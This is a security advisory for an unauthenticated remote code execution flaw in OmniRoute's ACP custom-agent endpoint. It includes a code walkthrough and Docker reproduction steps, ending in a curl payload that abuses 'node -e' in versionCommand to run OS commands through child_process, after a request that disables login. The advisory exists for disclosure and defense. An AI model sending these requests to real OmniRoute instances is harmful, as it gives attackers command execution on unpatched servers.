GHSA-hf57-cqmx-p4gr

    Dashboard / Vulnerabilities / GHSA-hf57-cqmx-p4gr

    GHSA-hf57-cqmx-p4gr

    Published: 10 Sept 2026Last Modified: 10 Sept 2026

    Summary: OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

    Details: ## 2. Summary `POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled `binary` and `versionCommand` values. After saving the custom agent, the same request calls `refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs: ```ts execFileSync(probe.command, probe.args, ...) ``` The only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the first token of `versionCommand` matches the request-provided `binary`. Because `binary` is also attacker-controlled, an attacker can submit: ```json { "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" } ``` This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via `child_process.execSync()`. When `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request. ## 3. Preconditions The unauthenticated exploit is reachable in either of the following scenarios: 1. The target instance has `requireLogin=false`. This is the primary scenario covered by this report and by the reproduction steps below. 2. A fresh instance has no management password configured yet. During this bootstrap window, `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set `requireLogin=false` and then call the vulnerable endpoint. If the instance is in the default `requireLogin=true` state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here. ## 4. Technical Analysis ### 4.1 The Endpoint Accepts User-Controlled Command Fields `src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`, `versionCommand`, and `spawnArgs`: ```ts const customAgentBodySchema = z.object({ action: z.string().optional(), id: z.string().optional(), name: z.string().optional(), binary: z.string().optional(), versionCommand: z.string().optional(), providerAlias: z.string().optional(), spawnArgs: z.array(z.string()).optional(), protocol: z.enum(["stdio", "http"]).optional(), }); ``` The `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`: ```ts export async function POST(request: Request) { if (!(await isAuthenticated(request))) { return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); } ``` The handler then stores `binary` and `versionCommand` in the custom agent definition without an executable allowlist: ```ts const newAgent: CustomAgentDef = { id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), name, binary, versionCommand, providerAlias: providerAlias || id, spawnArgs: spawnArgs || [], protocol: protocol || "stdio", }; ``` This logic is in `src/app/api/acp/agents/route.ts:92-100`. ### 4.2 The Only Guard Is a Self-Consistency Check The only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`: ```ts if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { return NextResponse.json( { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, { status: 400 } ); } ``` The core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`: ```ts export function resolveVersionProbe( binary: string, versionCommand: string, requireBinaryMatch = false ): { command: string; args: string[] } | null { const tokens = tokenizeVersionCommand(versionCommand); if (!tokens) { return null; } const [command, ...args] = tokens; if (!command) { return null; } if (requireBinaryMatch) { const normalizedCommand = normalizeCommandToken(command); const allowed = new Set([ normalizeCommandToken(binary), normalizeCommandToken(path.basename(binary)), ]); if (!allowed.has(normalizedCommand)) { return null; } } return { command, args }; } ``` This check only requires the first token of `versionCommand` to equal `binary` or `path.basename(binary)`. Since `binary` is also attacker-controlled, `binary="node"` and `versionCommand="node -e \"...\""` pass validation. `tokenizeVersionCommand()` only blocks a small set of shell metacharacters (`src/lib/acp/registry.ts:183-254`): ```ts const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/; ``` This does not prevent `node -e` code execution, because characters needed for the payload, such as `(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed. ### 4.3 The Same Request Immediately Triggers Command Execution After saving the custom agent, the route calls `refreshAgentCache()` at `src/app/api/acp/agents/route.ts:121-127`: ```ts const updated = [...current, newAgent]; await updateSettings({ customAgents: updated }); setCustomAgents(updated); const agents = refreshAgentCache(); return NextResponse.json({ agents, added: newAgent }); ``` `refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`: ```ts export function refreshAgentCache(): CliAgentInfo[] { _cachedAgents = null; return detectInstalledAgents(); } ``` `detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one (`src/lib/acp/registry.ts:342-360`): ```ts const allDefs = [ ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })), ..._customAgentDefs.map((d) => ({ ...d, _custom: true })), ]; _cachedAgents = allDefs.map((def) => { const { _custom, ...rest } = def; return detectAgent(rest, _custom); }); ``` The command execution sink is at `src/lib/acp/registry.ts:307-325`: ```ts const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); if (!probe) { return { ...def, version, installed, isCustom }; } const output = execFileSync(probe.command, probe.args, { timeout: 5000, encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}), }).trim(); ``` On Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms (`src/lib/acp/registry.ts:290-301`): ```ts export function shouldUseShellForVersionProbe( command: string, platform = process.platform ): boolean { if (platform !== "win32") return false; ... } ``` Therefore the effective execution is `execFileSync("node", ["-e", "..."])`. No shell metacharacters are required. ### 4.4 Why This Is Unauthenticated `isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`: ```ts export async function isAuthenticated(request: Request): Promise<boolean> { if (!(await isAuthRequired(request))) { return true; } ... } ``` `isAuthRequired()` returns `false` when `requireLogin=false` (`src/shared/utils/apiAuth.ts:317-323`): ```ts const settings = await getSettings(); if (settings.requireLogin === false) return false; ``` The centralized management policy also has the same anonymous allow branch at `src/server/authz/policies/management.ts:223-226`: ```ts if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); } ``` Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. `src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`, `/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but it does not include `/api/acp/`: ```ts export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [ "/api/mcp/", "/api/cli-tools/runtime/", "/api/services/", "/dashboard/providers/services/", "/api/copilot/", "/api/tools/agent-bridge/", "/api/tools/traffic-inspector/", "/api/plugins/", "/api/plugins", "/api/system/version", "/api/db-backups/exportAll", "/api/local/", "/api/headroom/start", "/api/headroom/stop", "/api/oauth/cursor/auto-import", ]; ``` `SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/` (`src/shared/constants/spawnCapablePrefixes.ts:26-35`). This means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead of being rejected by the LOCAL_ONLY gate. ## 5. Reproduction Environment The issue can be reproduced in a local Docker environment: - OmniRoute image: `diegosouzapw/omniroute:latest` - Exposed port: `20128` - Container data directory: `/app/data` - PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to `/app/data/UNAUTH_RCE_PROOF.txt` ## 6. Reproduction Steps ### 6.1 Start a Test Instance ```bash JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32) docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWT_SECRET="$JWT" \ -e API_KEY_SECRET="$AKS" \ -e REDIS_URL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest ``` Wait for startup: ```bash until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ curl -sf http://localhost:20128/ >/dev/null 2>&1; do sleep 2 done ``` ### 6.2 Put the Instance in the Login-Disabled State This step models a self-hosted instance where dashboard login has been disabled: ```bash curl -s -X POST "http://localhost:20128/api/settings/require-login" \ -H "content-type: application/json" \ -d '{"requireLogin":false}' ``` If the target is already in `requireLogin=false`, this step is not needed. ### 6.3 Trigger RCE Anonymously The following request sends no cookie and no Bearer token: ```bash curl -s -X POST "http://localhost:20128/api/acp/agents" \ -H "content-type: application/json" \ -d '{ "id":"anonrce", "name":"anonrce", "binary":"node", "protocol":"stdio", "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\"" }' ``` ### 6.4 Verify Command Execution ```bash docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt ``` Expected output is similar to: ```text uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux ``` This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute container. <img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />

    Affected packages

    Package

    Name: omniroute

    Purl: pkg:npm/omniroute

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High